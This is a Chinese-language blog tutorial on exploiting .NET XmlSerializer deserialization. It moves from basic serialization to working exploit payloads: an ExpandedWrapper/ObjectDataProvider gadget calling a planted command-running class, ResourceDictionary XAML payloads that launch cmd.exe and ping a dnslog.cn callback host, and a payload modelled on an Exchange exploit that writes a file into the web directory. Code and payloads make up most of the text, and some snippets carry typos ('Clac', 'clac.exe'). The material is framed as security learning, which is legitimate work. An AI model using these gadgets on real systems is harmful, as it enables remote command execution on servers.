在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
asp.net学习--XmlSerializer反序列化漏洞 .NET 框架中 System.Xml.Serialization 命名空间下的XmlSerializer类可以将 XML 文档绑定到 .NET 类的实例,有一点需要注意它只能把对象的公共属性和公共字段转换为XML元素或属性 我们先来看看Serialize() 和Deserialize() 这是我们获取普通xml值的方法 <?xml version="1.0" encoding="utf-8" ?> <root> <test value="test"/> <price value="50"/> </root>
XElement xe = XElement.Load("C:\\inetpub\\wwwroot\\xml.xml");//加载指定路径的xml文件 string test= xe.Element("test").Attribute("value").Value;//根据指定的元素和属性获取该属性的值 string price= xe.Element("price").Attribute("value").Value; Response.Write("test="+test+"\n"); Response.Write(price); 然后和序列化和反序列化对比就很清楚了,首先我们需要定义一个类型 public class Mytestxml { public string Ivale { get;set } public string Svalue { get;set } } 然后我们-->实列化它再-->序列化化它再-->反序列化 Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"}; string xml = XmlHelper.XmlSerialize(r, Encoding.UTF8); Response.Write(xml); Mytestxml d= new Mytestxml {Ivale="hello",Svalue="world"}; Response.Write(d.Ivale); Response.Write(d.Svalue);
以下是helper类代码 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Xml.Serialization; using System.IO; using System.Xml; namespace Xmlgit { public static class XmlHelper { private static void XmlSerializeInternal(Stream stream, object o, Encoding encoding) { if (o == null) throw new ArgumentNullException("o"); if (encoding == null) throw new ArgumentNullException("encoding"); XmlSerializer serializer = new XmlSerializer(o.GetType()); XmlWriterSettings settings = new XmlWriterSettings(); settings.Indent = true; settings.NewLineChars = "\r\n"; settings.Encoding = encoding; settings.IndentChars = " "; using (XmlWriter writer = XmlWriter.Create(stream, settings)) { serializer.Serialize(writer, o); writer.Close(); } } /// <summary> /// 将一个对象序列化为XML字符串 /// </summary> /// <param name="o">要序列化的对象</param> /// <param name="encoding">编码方式</param> /// <returns>序列化产生的XML字符串</returns> public static string XmlSerialize(object o, Encoding encoding) { using (MemoryStream stream = new MemoryStream()) { XmlSerializeInternal(stream, o, encoding); stream.Position = 0; using (StreamReader reader = new StreamReader(stream, encoding)) { return reader.ReadToEnd(); } } } /// <summary> /// 将一个对象按XML序列化的方式写入到一个文件 /// </summary> /// <param name="o">要序列化的对象</param> /// <param name="path">保存文件路径</param> /// <param name="encoding">编码方式</param> public static void XmlSerializeToFile(object o, string path, Encoding encoding) { if (string.IsNullOrEmpty(path)) throw new ArgumentNullException("path"); using (FileStream file = new FileStream(path, FileMode.Create, FileAccess.Write)) { XmlSerializeInternal(file, o, encoding); } } /// <summary> /// 从XML字符串中反序列化对象 /// </summary> /// <typeparam name="T">结果对象类型</typeparam> /// <param name="s">包含对象的XML字符串</param> /// <param name="encoding">编码方式</param> /// <returns>反序列化得到的对象</returns> public static T XmlDeserialize<T>(string s, Encoding encoding) { if (string.IsNullOrEmpty(s)) throw new ArgumentNullException("s"); if (encoding == null) throw new ArgumentNullException("encoding"); XmlSerializer mySerializer = new XmlSerializer(typeof(T)); using (MemoryStream ms = new MemoryStream(encoding.GetBytes(s))) { using (StreamReader sr = new StreamReader(ms, encoding)) { return (T)mySerializer.Deserialize(sr); } } } /// <summary> /// 读入一个文件,并按XML的方式反序列化对象。 /// </summary> /// <typeparam name="T">结果对象类型</typeparam> /// <param name="path">文件路径</param> /// <param name="encoding">编码方式</param> /// <returns>反序列化得到的对象</returns> public static T XmlDeserializeFromFile<T>(string path, Encoding encoding) { if (string.IsNullOrEmpty(path)) throw new ArgumentNullException("path"); if (encoding == null) throw new ArgumentNullException("encoding"); string xml = File.ReadAllText(path, encoding); return XmlDeserialize<T>(xml, encoding); } } } 好了现在简单的理解了xml序列化与反序列我们来直接调用 new System.Xml.Serialization.XmlSerializer Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"}; FileStream file=File.OpenWrite(@"C:\\inetpub\\wwwroot\\xml2.xml"); TextWriter wp =new StreamWriter(file); System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml)); xml.Serialize(wp,r); wp.Close();
反序列化 Mytestxml r= new Mytestxml { Ivale="",Svalue=""}; var file=new FileStream(@"C:\\inetpub\\wwwroot\\xml2.xml",FileMode.Open); System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml)); r = xml.Deserialize(file) as Mytestxml; Response.Write(r.Ivale);
生成exp ExpandedWrapper<Mytestxml, ObjectDataProvider> eobj = new ExpandedWrapper<Mytestxml,ObjectDataProvider>(); XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<Mytestxml, ObjectDataProvider>)); eobj.ProjectedProperty0 = new System.Windows.Data.ObjectDataProvider(); eobj.ProjectedProperty0.ObjectInstance = new Mytestxml(); eobj.ProjectedProperty0.MethodName = "Clac"; eobj.ProjectedProperty0.MethodParameters.Add("clac.exe"); TextWriter fo = new StreamWriter("C:\\inetpub\\wwwroot\\xml3.xml"); serializer.Serialize(fo, eobj); fo.Close(); 生成的xml <?xml version="1.0" encoding="utf-8"?> <ExpandedWrapperOfMytestxmlObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <ProjectedProperty0> <ObjectInstance xsi:type="Mytestxml" /> <MethodName>Clac</MethodName> <MethodParameters> <anyType xsi:type="xsd:string">ping 75pc01.dnslog.cn</anyType> </MethodParameters> </ProjectedProperty0> </ExpandedWrapperOfMytestxmlObjectDataProvider>
这里附带我的有危害的类 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Xml.Serialization; using System.IO; using System.Xml; using System.Data; using System.Runtime.InteropServices; using System.Runtime.InteropServices; using System.Diagnostics; using System.Web; /// <summary> /// Summary description for Class1 /// </summary> namespace Mytestxml { public class Mytestxml { public string Ivale { get; set; } public string Svalue { get; set; } public static void Clac(string exec) { string item = exec; Process p = new Process(); p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe"; //防止未加入环境变量用绝对路径 p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.CreateNoWindow = true; string strOutput = null; p.Start(); p.StandardInput.WriteLine(item);//传入命令参数 p.StandardInput.WriteLine("exit"); strOutput = p.StandardOutput.ReadToEnd(); p.WaitForExit(); p.Close(); p.Dispose(); } } } 调用exp XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper<Mytestxml, ObjectDataProvider>)); TextReader fi = new StreamReader("C:\\inetpub\\wwwroot\\xml3.xml"); ser.Deserialize(fi); fi.Close(); 这里由于有漏洞的函数是我自己进去的,如果再目标环境里面想去看对方net源码除非你是秀儿这里我们继续来看能不能把exp多元化 ResourceDictionaryBlack Hat 2017提出的思考 https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282 利用Deserialize输入可控和ResourceDictionary造成任意命令执行 using System;
我们来测试一下构造exp <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" > <ObjectDataProvider.MethodParameters> <System:String>cmd.exe</System:String> <System:String>/c ping qwv894.dnslog.cn</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary> 这个exp是放在服务器然后本地请求获取 Mytestxml r= new Mytestxml{Ivale="hello",Svalue="world"}; FileStream file=File.OpenWrite(@"C:\\inetpub\\wwwroot\\xml2.xml"); TextWriter wp =new StreamWriter(file); System.Xml.Serialization.XmlSerializer xml=new System.Xml.Serialization.XmlSerializer(typeof(Mytestxml)); xml.Serialize(wp,r); wp.Close(); 这里参考zcgonvh师傅的构造法优化exp这里是调用Environment.GetEnvironmentVariable获取Exchange的安装路径我们也可以用获取普通web的路径AppDomain.CurrentDomain.BaseDirectory <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:s="clr-namespace:System;assembly=mscorlib" xmlns:w="clr-namespace:System.Web;assembly=System.Web"> <s:String x:Key="a" x:FactoryMethod="s:Environment.CurrentDirectory" x:Arguments=""/> <s:String x:Key="b" x:FactoryMethod="Concat"> <x:Arguments> <StaticResource ResourceKey="a"/> <s:String>ClientAccessecpLiveIdError.aspx</s:String> </x:Arguments> </s:String> <ObjectDataProvider x:Key="x" ObjectType="{x:Type s:IO.File}" MethodName="AppendAllText"> <ObjectDataProvider.MethodParameters> <StaticResource ResourceKey="b"/> <s:String>test</s:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> <ObjectDataProvider x:Key="c" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""/> <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="get_Response"/> <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource d}" MethodName="End"/> </ResourceDictionary> 等同于 string a=AppDomain.CurrentDomain.BaseDirectory("");
string b=string.Concat(a,"ClientAccessecpLiveIdError.aspx");
File.AppendAllText(b,"tes");
HttpContext.Current.Response.End();
然后我们本地加载远程服务器的xml <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type Diag:Process}" MethodName="Start" > <ObjectDataProvider.MethodParameters> <System:String>cmd</System:String> <System:String>"/c clac.exe"</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>
[Serializable]
参考 https://scriptboy.cn/p/make_dotnet_deserialize_for_xaml/ https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282 https://www.freebuf.com/author/%E4%BA%91%E5%BD%B1%E5%AE%9E%E9%AA%8C%E5%AE%A4?comment=1 https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf#page=33 https://docs.microsoft.com/en-us/dotnet/api/microsoft.visualstudio.text.formatting.textformattingrunproperties?view=visualstudiosdk-2019 https://www.anquanke.com/post/id/199921
|
请发表评论